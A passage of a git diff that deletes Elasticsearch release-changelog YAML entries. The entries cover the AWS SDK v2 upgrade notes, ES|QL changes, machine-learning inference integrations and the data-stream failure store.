-    * AWS SDK v2 does not permit specifying a choice between HTTP and HTTPS so
-      the `s3.client.${CLIENT_NAME}.protocol` setting is deprecated.
-
-    * AWS SDK v2 does not permit control over throttling for retries, so the
-      the `s3.client.${CLIENT_NAME}.use_throttle_retries` setting is deprecated
-      and no longer has any effect.
-
-    * AWS SDK v2 requires the use of the V4 signature algorithm, so the
-      `s3.client.${CLIENT_NAME}.signer_override` setting is deprecated and no
-      longer has any effect.
-
-    * AWS SDK v2 does not support the `log-delivery-write` canned ACL.
-
-    * AWS SDK v2 counts 4xx responses differently in its metrics reporting.
-
-    * AWS SDK v2 always uses the regional STS endpoint, whereas AWS SDK v2
-      could use either a regional endpoint or the global
-      `https://sts.amazonaws.com` one.
-
-  impact: >-
-    If you use the `repository-s3` module, test your upgrade thoroughly before
-    upgrading any production workloads.
-
-    Adapt your configuration to the new SDK functionality. This includes, but
-    may not be limited to, the following items.
-
-    * Specify the correct signing region using the
-      `s3.client.${CLIENT_NAME}.region` setting on each node. {es} will try and
-      determine the correct region based on the endpoint URL and other data
-      drawn from the operating environment but cannot guarantee to do so
-      correctly in all cases.
-
-    * If you use IMDS to determine the availability zone of a node or to obtain
-      credentials for accessing the EC2 API, ensure that it supports the IMDSv2
-      protocol.
-
-    * If applicable, discontinue use of the
-      `com.amazonaws.sdk.ec2MetadataServiceEndpointOverride` system property.
-
-    * If applicable, specify the protocol to use to access the S3 API by
-      setting `s3.client.${CLIENT_NAME}.endpoint` to a URL which starts with
-      `http://` or `https://`.
-
-    * If applicable, discontinue use of the `log-delivery-write` canned ACL.
-
-  notable: true
diff --git a/docs/changelog/126856.yaml b/docs/changelog/126856.yaml
deleted file mode 100644
index 5cc9bdc6946f6..0000000000000
--- a/docs/changelog/126856.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126856
-summary: "[ML] Integrate SageMaker with OpenAI Embeddings"
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/126866.yaml b/docs/changelog/126866.yaml
deleted file mode 100644
index ff2e9d2ce03cb..0000000000000
--- a/docs/changelog/126866.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126866
-summary: Add recursive chunker
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/126876.yaml b/docs/changelog/126876.yaml
deleted file mode 100644
index 895af10840d84..0000000000000
--- a/docs/changelog/126876.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126876
-summary: Improve HNSW filtered search speed through new heuristic
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/126935.yaml b/docs/changelog/126935.yaml
deleted file mode 100644
index 7ef231ffa83c4..0000000000000
--- a/docs/changelog/126935.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126935
-summary: Synonyms API - Add refresh parameter to check synonyms index and reload analyzers
-area: Analysis
-type: enhancement
-issues:
- - 121441
diff --git a/docs/changelog/126956.yaml b/docs/changelog/126956.yaml
deleted file mode 100644
index c8766bcdb9e67..0000000000000
--- a/docs/changelog/126956.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126956
-summary: Temporarily bypass competitive iteration for filters aggregation
-area: Aggregations
-type: bug
-issues: []
diff --git a/docs/changelog/126973.yaml b/docs/changelog/126973.yaml
deleted file mode 100644
index 9cd279e0f56a5..0000000000000
--- a/docs/changelog/126973.yaml
+++ /dev/null
@@ -1,89 +0,0 @@
-pr: 126973
-summary: Add ability to redirect ingestion failures on data streams to a failure store
-area: Data streams
-type: feature
-issues: []
-highlight:
-  title: Add ability to redirect ingestion failures on data streams to a failure store
-  body: |-
-    Documents that encountered ingest pipeline failures or mapping conflicts
-    would previously be returned to the client as errors in the bulk and
-    index operations. Many client applications are not equipped to respond
-    to these failures. This leads to the failed documents often being
-    dropped by the client which cannot hold the broken documents
-    indefinitely. In many end user workloads, these failed documents
-    represent events that could be critical signals for observability or
-    security use cases.
-
-    To help mitigate this problem, data streams can now maintain a "failure
-    store" which is used to accept and hold documents that fail to be
-    ingested due to preventable configuration errors. The data stream's
-    failure store operates like a separate set of backing indices with their
-    own mappings and access patterns that allow Elasticsearch to accept
-    documents that would otherwise be rejected due to unhandled ingest
-    pipeline exceptions or mapping conflicts.
-
-    Users can enable redirection of ingest failures to the failure store on
-    new data streams by specifying it in the new `data_stream_options` field
-    inside of a component or index template:
-
-    [source,yaml]
-    ----
-    PUT _index_template/my-template
-    {
-      "index_patterns": ["logs-test-*"],
-      "data_stream": {},
-      "template": {
-        "data_stream_options": {
-          "failure_store": {
-            "enabled": true
-          }
-        }
-      }
-    }'
-    ----
-
-    Existing data streams can be configured with the new data stream
-    `_options` endpoint:
-
-    [source,yaml]
-    ----
-    PUT _data_stream/logs-test-apache/_options
-    {
-      "failure_store": {
-        "enabled": "true"
-      }
-    }
-    ----
-
-    When redirection is enabled, any ingestion related failures will be
-    captured in the failure store if the cluster is able to, along with the
-    timestamp that the failure occurred, details about the error
-    encountered, and the document that could not be ingested. Since failure
-    stores are a kind of Elasticsearch index, we can search the data stream
-    for the failures that it has collected. The failures are not shown by
-    default as they are stored in different indices than the normal data
-    stream data. In order to retrieve the failures, we use the `_search` API
-    along with a new bit of index pattern syntax, the `::` selector.
-
-    [source,yaml]
-    ----
-    POST logs-test-apache::failures/_search
-    ----
-
-    This index syntax informs the search operation to target the indices in
-    its failure store instead of its backing indices. It can be mixed in a
-    number of ways with other index patterns to include their failure store
-    indices in the search operation:
-
-    [source,yaml]
-    ----
-    POST logs-*::failures/_search
-    POST logs-*,logs-*::failures/_search
-    POST *::failures/_search
-    POST _query
-    {
-      "query": "FROM my_data_stream*::failures"
-    }
-    ----
-  notable: true
diff --git a/docs/changelog/127006.yaml b/docs/changelog/127006.yaml
deleted file mode 100644
index fa41bce2791f6..0000000000000
--- a/docs/changelog/127006.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127006
-summary: Correctly handle non-integers in nested paths in the remove processor
-area: Ingest Node
-type: bug
-issues: []
diff --git a/docs/changelog/127118.yaml b/docs/changelog/127118.yaml
deleted file mode 100644
index cf3bd807d4a2d..0000000000000
--- a/docs/changelog/127118.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127118
-summary: Panama vector accelerated optimized scalar quantization
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/127134.yaml b/docs/changelog/127134.yaml
deleted file mode 100644
index 97d6de2f99878..0000000000000
--- a/docs/changelog/127134.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127134
-summary: Define a default oversample value for dense vectors with bbq_hnsw/bbq_flat
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/127139.yaml b/docs/changelog/127139.yaml
deleted file mode 100644
index 29190073fb152..0000000000000
--- a/docs/changelog/127139.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127139
-summary: Add `suggested_cast`
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127148.yaml b/docs/changelog/127148.yaml
deleted file mode 100644
index db98b21a944b2..0000000000000
--- a/docs/changelog/127148.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127148
-summary: Skip unused STATS groups by adding a Top N `BlockHash` implementation
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127199.yaml b/docs/changelog/127199.yaml
deleted file mode 100644
index e6b3710f7e97c..0000000000000
--- a/docs/changelog/127199.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127199
-summary: Disable a bugged commit
-area: ES|QL
-type: bug
-issues:
- - 127197
diff --git a/docs/changelog/127201.yaml b/docs/changelog/127201.yaml
deleted file mode 100644
index 5a205c65785b0..0000000000000
--- a/docs/changelog/127201.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127201
-summary: Emit ordinal output block for values aggregate
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127229.yaml b/docs/changelog/127229.yaml
deleted file mode 100644
index fe551c95c6d01..0000000000000
--- a/docs/changelog/127229.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127229
-summary: Return BAD_REQUEST when a field scorer references a missing field
-area: Ranking
-type: bug
-issues:
- - 127162
diff --git a/docs/changelog/127250.yaml b/docs/changelog/127250.yaml
deleted file mode 100644
index 44a41645bd6c3..0000000000000
--- a/docs/changelog/127250.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127250
-summary: Do not apply further shard snapshot status updates after shard snapshot is
-  complete
-area: Snapshot/Restore
-type: bug
-issues: []
diff --git a/docs/changelog/127254.yaml b/docs/changelog/127254.yaml
deleted file mode 100644
index 366b1a2cce00b..0000000000000
--- a/docs/changelog/127254.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127254
-summary: "[ML] Add HuggingFace Chat Completion support to the Inference Plugin"
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/127267.yaml b/docs/changelog/127267.yaml
deleted file mode 100644
index 3ec9828cabe84..0000000000000
--- a/docs/changelog/127267.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127267
-summary: Bypass competitive iteration in single filter bucket case
-area: "Aggregations"
-type: bug
-issues: [127262]
diff --git a/docs/changelog/127285.yaml b/docs/changelog/127285.yaml
deleted file mode 100644
index e735580b5f310..0000000000000
--- a/docs/changelog/127285.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127285
-summary: Restore model registry validation for the semantic text field
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/127299.yaml b/docs/changelog/127299.yaml
deleted file mode 100644
index d83551fbbe1aa..0000000000000
--- a/docs/changelog/127299.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127299
-summary: Introduce `AggregateMetricDoubleBlock`
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127314.yaml b/docs/changelog/127314.yaml
deleted file mode 100644
index 412fa2e78ffaf..0000000000000
--- a/docs/changelog/127314.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127314
-summary: "[Failure store] Introduce dedicated failure store lifecycle configuration"
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/127321.yaml b/docs/changelog/127321.yaml
deleted file mode 100644
index 16191d9c34442..0000000000000
--- a/docs/changelog/127321.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127321
-summary: Granting `kibana_system` reserved role access to "all" privileges to `.adhoc.alerts*`
-  and `.internal.adhoc.alerts*` indices
-area: Authorization
-type: enhancement
-issues: []
diff --git a/docs/changelog/127330.yaml b/docs/changelog/127330.yaml
deleted file mode 100644
index 059c8185c0060..0000000000000
--- a/docs/changelog/127330.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127330
-summary: Move unpromotable relocations to its own transport action
-area: Recovery
-type: enhancement
-issues: []
diff --git a/docs/changelog/127343.yaml b/docs/changelog/127343.yaml
deleted file mode 100644
index 3d3e12799d163..0000000000000
--- a/docs/changelog/127343.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127343
-summary: Upgrade to Lucene 10.2.1
-area: Search
-type: upgrade
-issues: []
diff --git a/docs/changelog/127348.yaml b/docs/changelog/127348.yaml
deleted file mode 100644
index 933869b2a9d55..0000000000000
--- a/docs/changelog/127348.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127348
-summary: Speed loading stored fields
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127351.yaml b/docs/changelog/127351.yaml
deleted file mode 100644
index ca16c5695f004..0000000000000
--- a/docs/changelog/127351.yaml
+++ /dev/null
@@ -1,16 +0,0 @@
-pr: 127351
-summary: Allow partial results by default in ES|QL
-area: ES|QL
-type: breaking
-issues: [122802]
-
-breaking:
-  title: Allow partial results by default in ES|QL
-  area: ES|QL
-  details: >-
-    In earlier versions of {es}, ES|QL would fail the entire query if it encountered any error. ES|QL now returns partial results instead of failing when encountering errors.
-
-  impact: >-
-    Callers should check the `is_partial` flag returned in the response to determine if the result is partial or complete. If returning partial results is not desired, this option can be overridden per request via an `allow_partial_results` parameter in the query URL or globally via the cluster setting `esql.query.allow_partial_results`.
-
-  notable: true
diff --git a/docs/changelog/127355.yaml b/docs/changelog/127355.yaml
deleted file mode 100644
index 28ead562ed8c5..0000000000000
--- a/docs/changelog/127355.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127355
-summary: '`text ==` and `text !=` pushdown'
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127371.yaml b/docs/changelog/127371.yaml
deleted file mode 100644
index 10f5f17243193..0000000000000
--- a/docs/changelog/127371.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127371
-summary: Add cancellation support in `TransportGetAllocationStatsAction`
-area: Allocation
-type: feature
-issues:
- - 123248
diff --git a/docs/changelog/127472.yaml b/docs/changelog/127472.yaml
deleted file mode 100644
index b91288f82bcdd..0000000000000
--- a/docs/changelog/127472.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127472
-summary: Change queries ID to be the same as the async
-area: ES|QL
-type: feature
-issues:
- - 127187
diff --git a/docs/changelog/127522.yaml b/docs/changelog/127522.yaml
deleted file mode 100644
index 344456ac4a31f..0000000000000
--- a/docs/changelog/127522.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127522
-summary: Use INTERNAL_INGEST for Inference
-area: Machine Learning
-type: bug
-issues:
- - 127519
diff --git a/docs/changelog/127524.yaml b/docs/changelog/127524.yaml
deleted file mode 100644
index d11599ddcde58..0000000000000
--- a/docs/changelog/127524.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127524
-summary: Resolve groupings in aggregate before resolving references to groupings in
-  the aggregations
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/127549.yaml b/docs/changelog/127549.yaml
deleted file mode 100644
index 5f24111d22689..0000000000000
--- a/docs/changelog/127549.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127549
-summary: Add local optimizations for `constant_keyword`
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127573.yaml b/docs/changelog/127573.yaml
deleted file mode 100644
index b0bc1548c09f7..0000000000000
--- a/docs/changelog/127573.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127573
-summary: "[Failure store] Introduce default retention for failure indices"
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/127582.yaml b/docs/changelog/127582.yaml
deleted file mode 100644
index 589c20e8f2fbc..0000000000000
--- a/docs/changelog/127582.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127582
-summary: Specialize ags `AddInput` for each block type
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127583.yaml b/docs/changelog/127583.yaml
deleted file mode 100644
index 6e315a2b827b9..0000000000000
--- a/docs/changelog/127583.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127583
-summary: Add optimization to purge join on null merge key
-area: ES|QL
-type: enhancement
-issues:
- - 125577
diff --git a/docs/changelog/127628.yaml b/docs/changelog/127628.yaml
deleted file mode 100644
index 083b425f13eb4..0000000000000
--- a/docs/changelog/127628.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127628
-summary: Ensure config reload on ..data symlink switch for CSI driver support
-area: Infra/Settings
-type: enhancement
-issues: []
diff --git a/docs/changelog/127629.yaml b/docs/changelog/127629.yaml
deleted file mode 100644
index 20ae5eebfb3a4..0000000000000
--- a/docs/changelog/127629.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127629
-summary: ES|QL SAMPLE aggregation function
-area: Machine Learning
-type: feature
-issues: []
diff --git a/docs/changelog/127636.yaml b/docs/changelog/127636.yaml
deleted file mode 100644
index e329eb4bce333..0000000000000
--- a/docs/changelog/127636.yaml
+++ /dev/null
@@ -1,17 +0,0 @@
-pr: 127636
-summary: Disallow mixed quoted/unquoted patterns in FROM
-area: ES|QL
-type: breaking
-issues:
- - 122651
-breaking:
-  title: Disallow mixed quoted/unquoted patterns in FROM
-  area: ES|QL
-  details: "Previously, the ES|QL grammar allowed users to individually quote constituent strings in index patterns\
-    \ such as \"remote_cluster\":\"index_name\". This would allow users to write complex malformed index patterns\
-    \ that often slip through grammar and the subsequent validation. This could result in runtime errors\
-    \ that can be misleading. This change simplifies the grammar to early reject such malformed index patterns\
-    \ at the parsing stage, allowing users to write simpler queries and see more relevant and meaningful\
-    \ errors."
-  impact: "Users can write queries with simpler index patterns and see more meaningful and relevant errors."
-  notable: false
diff --git a/docs/changelog/127661.yaml b/docs/changelog/127661.yaml
deleted file mode 100644
index 66c8336963271..0000000000000
--- a/docs/changelog/127661.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127661
-summary: Add MATCH_PHRASE
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127664.yaml b/docs/changelog/127664.yaml
deleted file mode 100644
index 6290607b987f7..0000000000000
--- a/docs/changelog/127664.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127664
-summary: Exclude `semantic_text` subfields from field capabilities API
-area: "Mapping"
-type: enhancement
-issues: []
diff --git a/docs/changelog/127668.yaml b/docs/changelog/127668.yaml
deleted file mode 100644
index 04d219e543b12..0000000000000
--- a/docs/changelog/127668.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127668
-summary: Fix transport versions
-area: "ES|QL"
-type: bug
-issues:
- - 127667
diff --git a/docs/changelog/127731.yaml b/docs/changelog/127731.yaml
deleted file mode 100644
index 2641c96e2e05b..0000000000000
--- a/docs/changelog/127731.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127731
-summary: ESQL - Enable telemetry for COMPLETION command
-area: Search
-type: feature
-issues: []
diff --git a/docs/changelog/127734.yaml b/docs/changelog/127734.yaml
deleted file mode 100644
index d33b201744c46..0000000000000
--- a/docs/changelog/127734.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127734
-summary: Run coordinating `can_match` in field-caps
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/127767.yaml b/docs/changelog/127767.yaml
deleted file mode 100644
index 659fc31fbaf83..0000000000000
--- a/docs/changelog/127767.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127767
-summary: Integrate `OpenAi` Chat Completion in `SageMaker`
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/127796.yaml b/docs/changelog/127796.yaml
deleted file mode 100644
index c87e777f83d40..0000000000000
--- a/docs/changelog/127796.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127796
-summary: Do not respect synthetic_source_keep=arrays if type parses arrays
-area: Mapping
-type: enhancement
-issues:
- - 126155
diff --git a/docs/changelog/127817.yaml b/docs/changelog/127817.yaml
deleted file mode 100644
index 7c0f78b39a809..0000000000000
--- a/docs/changelog/127817.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127817
-summary: Replace auto-read with proper flow-control in HTTP pipeline
-area: Network
-type: enhancement
-issues: []
diff --git a/docs/changelog/127849.yaml b/docs/changelog/127849.yaml
deleted file mode 100644
index 4d5b747b35011..0000000000000
--- a/docs/changelog/127849.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127849
-summary: Optimize ordinal inputs in Values aggregation
-area: "ES|QL"
-type: enhancement
-issues: []
diff --git a/docs/changelog/127910.yaml b/docs/changelog/127910.yaml
deleted file mode 100644
index 3b3641cd17f0f..0000000000000
--- a/docs/changelog/127910.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127910
-summary: Add Microsoft Graph Delegated Authorization Realm Plugin
-area: Authorization
-type: enhancement
-issues: []
diff --git a/docs/changelog/127939.yaml b/docs/changelog/127939.yaml
deleted file mode 100644
index 7cc67e6207a85..0000000000000
--- a/docs/changelog/127939.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127939
-summary: Add Custom inference service
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/127966.yaml b/docs/changelog/127966.yaml
deleted file mode 100644
index 0c896715149bf..0000000000000
--- a/docs/changelog/127966.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127966
-summary: "[ML] Add Rerank support to the Inference Plugin"
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/127968.yaml b/docs/changelog/127968.yaml
deleted file mode 100644
index 5cc867d0d2637..0000000000000
--- a/docs/changelog/127968.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 127968
-summary: "Enable sort optimization on int, short and byte fields"
-area: Search
-type: enhancement
-issues:
- - 127965
diff --git a/docs/changelog/127988.yaml b/docs/changelog/127988.yaml
deleted file mode 100644
index 5cb3540f90b08..0000000000000
--- a/docs/changelog/127988.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 127988
-summary: Add emit time to hash aggregation status
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128025.yaml b/docs/changelog/128025.yaml
deleted file mode 100644
index 61a9a80fabfb1..0000000000000
--- a/docs/changelog/128025.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128025
-summary: "Set `connection: close` header on shutdown"
-area: Network
-type: enhancement
-issues:
- - 127984
diff --git a/docs/changelog/128063.yaml b/docs/changelog/128063.yaml
deleted file mode 100644
index 281d80d1c6ec0..0000000000000
--- a/docs/changelog/128063.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128063
-summary: More efficient sort in `tryRelocateShard`
-area: Allocation
-type: enhancement
-issues: []
diff --git a/docs/changelog/128099.yaml b/docs/changelog/128099.yaml
deleted file mode 100644
index 1f26cb00bd75d..0000000000000
--- a/docs/changelog/128099.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128099
-summary: Remove first `FlowControlHandler` from HTTP pipeline
-area: Network
-type: enhancement
-issues: []
diff --git a/docs/changelog/128105.yaml b/docs/changelog/128105.yaml
deleted file mode 100644
index 2dd6b55f54d24..0000000000000
--- a/docs/changelog/128105.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128105
-summary: "Adding Google VertexAI chat completion integration"
-area: Inference
-type: enhancement
-issues: [ ]
diff --git a/docs/changelog/128139.yaml b/docs/changelog/128139.yaml
deleted file mode 100644
index b21e2c744f4d9..0000000000000
--- a/docs/changelog/128139.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128139
-summary: Skip indexing points for `seq_no` in tsdb and logsdb
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/128163.yaml b/docs/changelog/128163.yaml
deleted file mode 100644
index 6cebf3738017f..0000000000000
--- a/docs/changelog/128163.yaml
+++ /dev/null
@@ -1,17 +0,0 @@
-pr: 128163
-summary: Make `skip_unavailable` catch all errors
-area: ES|QL
-type: breaking
-issues: [ ]
-breaking:
-  title: Cluster setting "skip_unavailable" catches all runtime errors
-  area: ES|QL
-  details: "If `skip_unavailable` is set to `true`, the runtime errors from this cluster\
-    \ do not lead to a failure of the query. Instead, the cluster is set to `skipped`\
-    \ or `partial` status, and the query execution continues. This is a breaking change\
-    \ from previous versions, where `skip_unavailable` only applied to errors related\
-    \ to a cluster being unavailable."
-  impact: "The errors on remote clusters, e.g. missing indices, will not lead to a\
-    \ failure of the query. Instead, the cluster is set to `skipped` or `partial` status\
-    \ in the response metadata."
-  notable: false
diff --git a/docs/changelog/128176.yaml b/docs/changelog/128176.yaml
deleted file mode 100644
index 2cf76c4513772..0000000000000
--- a/docs/changelog/128176.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128176
-summary: Implement SAML custom attributes support for Identity Provider
-area: Authentication
-type: enhancement
-issues: []
diff --git a/docs/changelog/128213.yaml b/docs/changelog/128213.yaml
deleted file mode 100644
index a1f108cbbec8e..0000000000000
--- a/docs/changelog/128213.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128213
-summary: Refactor `SourceProvider` creation to consistently use `MappingLookup`
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/128218.yaml b/docs/changelog/128218.yaml
deleted file mode 100644
index a3a291aa8d580..0000000000000
--- a/docs/changelog/128218.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128218
-summary: Improve exception for trained model deployment scale up timeout
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/128241.yaml b/docs/changelog/128241.yaml
deleted file mode 100644
index 26e3154fb7fde..0000000000000
--- a/docs/changelog/128241.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128241
-summary: Adding VoyageAI's v3.5 models
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/128263.yaml b/docs/changelog/128263.yaml
deleted file mode 100644
index 27ed06878dd40..0000000000000
--- a/docs/changelog/128263.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128263
-summary: Allow lookup join on mixed numeric fields
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128273.yaml b/docs/changelog/128273.yaml
deleted file mode 100644
index 0f6a7ce2561d7..0000000000000
--- a/docs/changelog/128273.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128273
-summary: Improve get-snapshots message for unreadable repository
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/128278.yaml b/docs/changelog/128278.yaml
deleted file mode 100644
index e8cc008a393df..0000000000000
--- a/docs/changelog/128278.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128278
-summary: ROUND_TO function
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128291.yaml b/docs/changelog/128291.yaml
deleted file mode 100644
index 097bd8a44a4c6..0000000000000
--- a/docs/changelog/128291.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128291
-summary: Make `dense_vector` fields updatable to bbq_flat/bbq_hnsw
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/128298.yaml b/docs/changelog/128298.yaml
deleted file mode 100644
index bfa16cb509304..0000000000000
--- a/docs/changelog/128298.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128298
-summary: Better handling of node ids from shutdown metadata (avoid NPE on already removed nodes)
-area: Infra/Node Lifecycle
-type: bug
-issues:
- - 100201
diff --git a/docs/changelog/128314.yaml b/docs/changelog/128314.yaml
deleted file mode 100644
index f63a06e68177e..0000000000000
--- a/docs/changelog/128314.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128314
-summary: Fix NPE in APMTracer through `RestController`
-area: Infra/REST API
-type: bug
-issues: []
diff --git a/docs/changelog/128323.yaml b/docs/changelog/128323.yaml
deleted file mode 100644
index b6114c26ddc6e..0000000000000
--- a/docs/changelog/128323.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128323
-summary: "Fix: Allow non-score secondary sorts in pinned retriever sub-retrievers"
-area: Relevance
-type: bug
-issues: []
diff --git a/docs/changelog/128361.yaml b/docs/changelog/128361.yaml
deleted file mode 100644
index 901c1141afe90..0000000000000
--- a/docs/changelog/128361.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128361
-summary: The follower index should wait until the time series end time passes before unfollowing the leader index.
-area: ILM+SLM
-type: bug
-issues:
- - 128129
diff --git a/docs/changelog/128393.yaml b/docs/changelog/128393.yaml
deleted file mode 100644
index 1f4a2bf8697f3..0000000000000
--- a/docs/changelog/128393.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 128393
-summary: Pushdown constructs doing case-insensitive regexes
-area: ES|QL
-type: enhancement
-issues:
- - 127479
diff --git a/docs/changelog/128396.yaml b/docs/changelog/128396.yaml
deleted file mode 100644
index 6e19a83d156e5..0000000000000
--- a/docs/changelog/128396.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128396
-summary: Delegated authorization using Microsoft Graph (SDK)
-area: Authorization
-type: feature
-issues: []
diff --git a/docs/changelog/128399.yaml b/docs/changelog/128399.yaml
deleted file mode 100644
index 042c1b9153f72..0000000000000
--- a/docs/changelog/128399.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128399
-summary: Allow missing shard stats for restarted nodes for `_snapshot/_status`
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/128405.yaml b/docs/changelog/128405.yaml
deleted file mode 100644
index aefa068814747..0000000000000
--- a/docs/changelog/128405.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128405
-summary: Modify the mechanism to pause indexing
-area: Distributed
-type: bug
-issues: []
diff --git a/docs/changelog/128449.yaml b/docs/changelog/128449.yaml
deleted file mode 100644
index 12798783942e6..0000000000000
--- a/docs/changelog/128449.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128449
-summary: "[Draft] Support concurrent multipart uploads in Azure"
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/128464.yaml b/docs/changelog/128464.yaml
deleted file mode 100644
index b8cd59c82b77f..0000000000000
--- a/docs/changelog/128464.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128464
-summary: Add support for parameters in LIMIT command
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/128473.yaml b/docs/changelog/128473.yaml
deleted file mode 100644
index 447ff998b1610..0000000000000
--- a/docs/changelog/128473.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 128473
-summary: Conditionally force sequential reading in `LuceneSyntheticSourceChangesSnapshot`
-area: Logs
-type: enhancement
-issues: []
